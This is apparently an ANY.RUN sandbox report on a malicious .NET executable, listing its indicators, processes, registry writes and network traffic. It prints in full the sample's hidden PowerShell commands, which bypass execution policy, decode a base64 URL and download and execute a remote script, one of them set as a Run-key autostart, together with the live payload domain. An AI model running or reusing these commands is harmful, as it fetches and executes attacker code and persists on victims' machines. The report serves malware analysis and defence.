File name:

7c2c27aaedbc67a8e7e5c3e2e529d1a97c1b2778dbaeac037bfedaea51e0f867

Full analysis: https://app.any.run/tasks/e774d11b-675e-4e05-8747-970be3e28d21
Verdict: Malicious activity
Analysis date: January 10, 2025, 20:38:50
OS: Windows 10 Professional (build: 19045, 64 bit)
Indicators:
MIME: application/vnd.microsoft.portable-executable
File info: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections
MD5:

F60CA825AA99F293F45FD16610D64A45

SHA1:

2661B9D7A7801B1AA997FF3FC7C9D30AEDBC4FA6

SHA256:

7C2C27AAEDBC67A8E7E5C3E2E529D1A97C1B2778DBAEAC037BFEDAEA51E0F867

SSDEEP:

384:Ixxt6hFlDlRhiKct3XQ/vPav/IARf/GQ4AnrW16kyKjDWZcYzVBat4:ISlDlO3WPVARf/GQ4AnrWgkyKjDWZ9d

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Changes the autorun value in the registry

      • 7c2c27aaedbc67a8e7e5c3e2e529d1a97c1b2778dbaeac037bfedaea51e0f867.exe (PID: 5792)

    • Changes powershell execution policy (Bypass)

      • 7c2c27aaedbc67a8e7e5c3e2e529d1a97c1b2778dbaeac037bfedaea51e0f867.exe (PID: 5792)

    • Bypass execution policy to execute commands

      • powershell.exe (PID: 3608)

  • SUSPICIOUS

    • Possibly malicious use of IEX has been detected

      • 7c2c27aaedbc67a8e7e5c3e2e529d1a97c1b2778dbaeac037bfedaea51e0f867.exe (PID: 5792)

    • Starts POWERSHELL.EXE for commands execution

      • 7c2c27aaedbc67a8e7e5c3e2e529d1a97c1b2778dbaeac037bfedaea51e0f867.exe (PID: 5792)

    • The process hide an interactive prompt from the user

      • 7c2c27aaedbc67a8e7e5c3e2e529d1a97c1b2778dbaeac037bfedaea51e0f867.exe (PID: 5792)

    • Probably download files using WebClient

      • 7c2c27aaedbc67a8e7e5c3e2e529d1a97c1b2778dbaeac037bfedaea51e0f867.exe (PID: 5792)

    • Uses base64 encoding (POWERSHELL)

      • powershell.exe (PID: 3608)

  • INFO

    • Checks proxy server information

      • 7c2c27aaedbc67a8e7e5c3e2e529d1a97c1b2778dbaeac037bfedaea51e0f867.exe (PID: 5792)
      • powershell.exe (PID: 3608)

    • Checks supported languages

      • 7c2c27aaedbc67a8e7e5c3e2e529d1a97c1b2778dbaeac037bfedaea51e0f867.exe (PID: 5792)

    • Reads the machine GUID from the registry

      • 7c2c27aaedbc67a8e7e5c3e2e529d1a97c1b2778dbaeac037bfedaea51e0f867.exe (PID: 5792)

    • Disables trace logs

      • 7c2c27aaedbc67a8e7e5c3e2e529d1a97c1b2778dbaeac037bfedaea51e0f867.exe (PID: 5792)
      • powershell.exe (PID: 3608)

    • Reads the computer name

      • 7c2c27aaedbc67a8e7e5c3e2e529d1a97c1b2778dbaeac037bfedaea51e0f867.exe (PID: 5792)

    • Reads the software policy settings

      • 7c2c27aaedbc67a8e7e5c3e2e529d1a97c1b2778dbaeac037bfedaea51e0f867.exe (PID: 5792)

    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 3608)

    • Remote server returned an error (POWERSHELL)

      • powershell.exe (PID: 3608)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.exe | Generic CIL Executable (.NET, Mono, etc.) (82.9)
.dll | Win32 Dynamic Link Library (generic) (7.4)
.exe | Win32 Executable (generic) (5.1)
.exe | Generic Win/DOS Executable (2.2)
.exe | DOS Executable Generic (2.2)

EXIF

EXE

AssemblyVersion: 1.0.0.0
ProductVersion: 1.0.0.0
ProductName: CavnDkCvt
OriginalFileName: CavnDkCvt.exe
LegalTrademarks: -
LegalCopyright: Copyright © 2024
InternalName: CavnDkCvt.exe
FileVersion: 1.0.0.0
FileDescription: CavnDkCvt
CompanyName: -
Comments: -
CharacterSet: Unicode
LanguageCode: Neutral
FileSubtype: -
ObjectFileType: Executable application
FileOS: Win32
FileFlags: (none)
FileFlagsMask: 0x003f
ProductVersionNumber: 1.0.0.0
FileVersionNumber: 1.0.0.0
Subsystem: Windows command line
SubsystemVersion: 6
ImageVersion: -
OSVersion: 4
EntryPoint: 0x6e8e
UninitializedDataSize: -
InitializedDataSize: 2048
CodeSize: 20480
LinkerVersion: 48
PEType: PE32
ImageFileCharacteristics: Executable, Large address aware
TimeStamp: 2088:08:10 18:23:42+00:00
MachineType: Intel 386 or later, and compatibles
No data.
screenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
121
Monitored processes
3
Malicious processes
1
Suspicious processes
1

Behavior graph

Click at the process to see the details
start 7c2c27aaedbc67a8e7e5c3e2e529d1a97c1b2778dbaeac037bfedaea51e0f867.exe conhost.exe no specs powershell.exe

Process information

PID
CMD
Path
Indicators
Parent process
5792"C:\Users\admin\Desktop\7c2c27aaedbc67a8e7e5c3e2e529d1a97c1b2778dbaeac037bfedaea51e0f867.exe" C:\Users\admin\Desktop\7c2c27aaedbc67a8e7e5c3e2e529d1a97c1b2778dbaeac037bfedaea51e0f867.exe
explorer.exe
User:
admin
Integrity Level:
MEDIUM
Description:
CavnDkCvt
Exit code:
0
Version:
1.0.0.0
Modules
Images
c:\users\admin\desktop\7c2c27aaedbc67a8e7e5c3e2e529d1a97c1b2778dbaeac037bfedaea51e0f867.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\mscoree.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
3560\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—7c2c27aaedbc67a8e7e5c3e2e529d1a97c1b2778dbaeac037bfedaea51e0f867.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
3608powershell -w hid -noni -ep Bypass -c "$w=New-Object Net.WebClient;$u=[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly96amh5LmNvaW1icmF0cmF0YWRvcmVzLmNvbS96d3VoaWJqcWR3cWJidA=='));IEX $w.DownloadString($u)"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
7c2c27aaedbc67a8e7e5c3e2e529d1a97c1b2778dbaeac037bfedaea51e0f867.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\msvcrt.dll
Total events
8 621
Read events
8 592
Write events
29
Delete events
0

Modification events

(PID) Process:(5792) 7c2c27aaedbc67a8e7e5c3e2e529d1a97c1b2778dbaeac037bfedaea51e0f867.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Operation:writeName:vsna
Value:
powershell -w hid -noni -ep Bypass -c "$w=New-Object Net.WebClient;$u=[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly96amh5LmNvaW1icmF0cmF0YWRvcmVzLmNvbS9yYnZ0b3d0a291bXlvZQ=='));IEX $w.DownloadString($u)"
(PID) Process:(5792) 7c2c27aaedbc67a8e7e5c3e2e529d1a97c1b2778dbaeac037bfedaea51e0f867.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\RASAPI32
Operation:writeName:EnableFileTracing
Value:
0
(PID) Process:(5792) 7c2c27aaedbc67a8e7e5c3e2e529d1a97c1b2778dbaeac037bfedaea51e0f867.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\RASAPI32
Operation:writeName:EnableAutoFileTracing
Value:
0
(PID) Process:(5792) 7c2c27aaedbc67a8e7e5c3e2e529d1a97c1b2778dbaeac037bfedaea51e0f867.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\RASAPI32
Operation:writeName:EnableConsoleTracing
Value:
0
(PID) Process:(5792) 7c2c27aaedbc67a8e7e5c3e2e529d1a97c1b2778dbaeac037bfedaea51e0f867.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\RASAPI32
Operation:writeName:FileTracingMask
Value:
(PID) Process:(5792) 7c2c27aaedbc67a8e7e5c3e2e529d1a97c1b2778dbaeac037bfedaea51e0f867.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\RASAPI32
Operation:writeName:ConsoleTracingMask
Value:
(PID) Process:(5792) 7c2c27aaedbc67a8e7e5c3e2e529d1a97c1b2778dbaeac037bfedaea51e0f867.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\RASAPI32
Operation:writeName:MaxFileSize
Value:
1048576
(PID) Process:(5792) 7c2c27aaedbc67a8e7e5c3e2e529d1a97c1b2778dbaeac037bfedaea51e0f867.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\RASAPI32
Operation:writeName:FileDirectory
Value:
%windir%\tracing
(PID) Process:(5792) 7c2c27aaedbc67a8e7e5c3e2e529d1a97c1b2778dbaeac037bfedaea51e0f867.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\RASMANCS
Operation:writeName:EnableFileTracing
Value:
0
(PID) Process:(5792) 7c2c27aaedbc67a8e7e5c3e2e529d1a97c1b2778dbaeac037bfedaea51e0f867.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\RASMANCS
Operation:writeName:EnableAutoFileTracing
Value:
0
Executable files
0
Suspicious files
1
Text files
2
Unknown types
0

Dropped files

PID
Process
Filename
Type
3608powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivebinary
MD5:68116C20311F511725CA913C01705F23
SHA256:4BFACFD4447272C66763ED0F51CE3770BF0B023F62C0ABEB56E705243FEFA122
3608powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_fzfcioui.izb.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
3608powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_wy0z5w53.hlw.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
6
TCP/UDP connections
19
DNS requests
7
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
—
—
GET
401
104.21.80.1:443
https://zjhy.coimbratratadores.com/zwuhibjqdwqbbt
unknown
—
—
—
—
—
GET
401
104.21.96.1:443
https://zjhy.coimbratratadores.com/vhaanvkb/?l=y4CMuADfvJHUgATMgM3dvRmbpdFI0Z2bz9mcjlWT8JXZk5WZmVGRgM3dvRmbpdFfulWbkFGfExkSMx0RK1CUPR1STVER
unknown
—
—
—
5004
svchost.exe
GET
200
23.48.23.140:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
5004
svchost.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
4712
MoUsoCoreWorker.exe
GET
200
23.48.23.140:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
4712
MoUsoCoreWorker.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
—
—
—
whitelisted
4712
MoUsoCoreWorker.exe
4.231.128.59:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
5004
svchost.exe
4.231.128.59:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
—
—
4.231.128.59:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
4712
MoUsoCoreWorker.exe
23.48.23.140:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
5004
svchost.exe
23.48.23.140:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
4712
MoUsoCoreWorker.exe
184.30.21.171:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted
5004
svchost.exe
184.30.21.171:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted
5792
7c2c27aaedbc67a8e7e5c3e2e529d1a97c1b2778dbaeac037bfedaea51e0f867.exe
104.21.32.1:443
zjhy.coimbratratadores.com
CLOUDFLARENET
—
unknown

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 4.231.128.59
  • 51.124.78.146
whitelisted
google.com
  • 142.250.74.206
whitelisted
crl.microsoft.com
  • 23.48.23.140
  • 23.48.23.148
  • 23.48.23.137
  • 23.48.23.141
  • 23.48.23.144
  • 23.48.23.146
  • 23.48.23.139
  • 23.48.23.194
  • 23.48.23.192
whitelisted
www.microsoft.com
  • 184.30.21.171
whitelisted
zjhy.coimbratratadores.com
  • 104.21.32.1
  • 104.21.112.1
  • 104.21.96.1
  • 104.21.48.1
  • 104.21.64.1
  • 104.21.80.1
  • 104.21.16.1
unknown
self.events.data.microsoft.com
  • 20.189.173.10
whitelisted

Threats

No threats detected
No debug info
Interactive malware hunting service ANY.RUN
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Reports
7c2c27aaedbc67a8e7e5c3e2e529d1a97c1b2778dbaeac037bfedaea51e0f867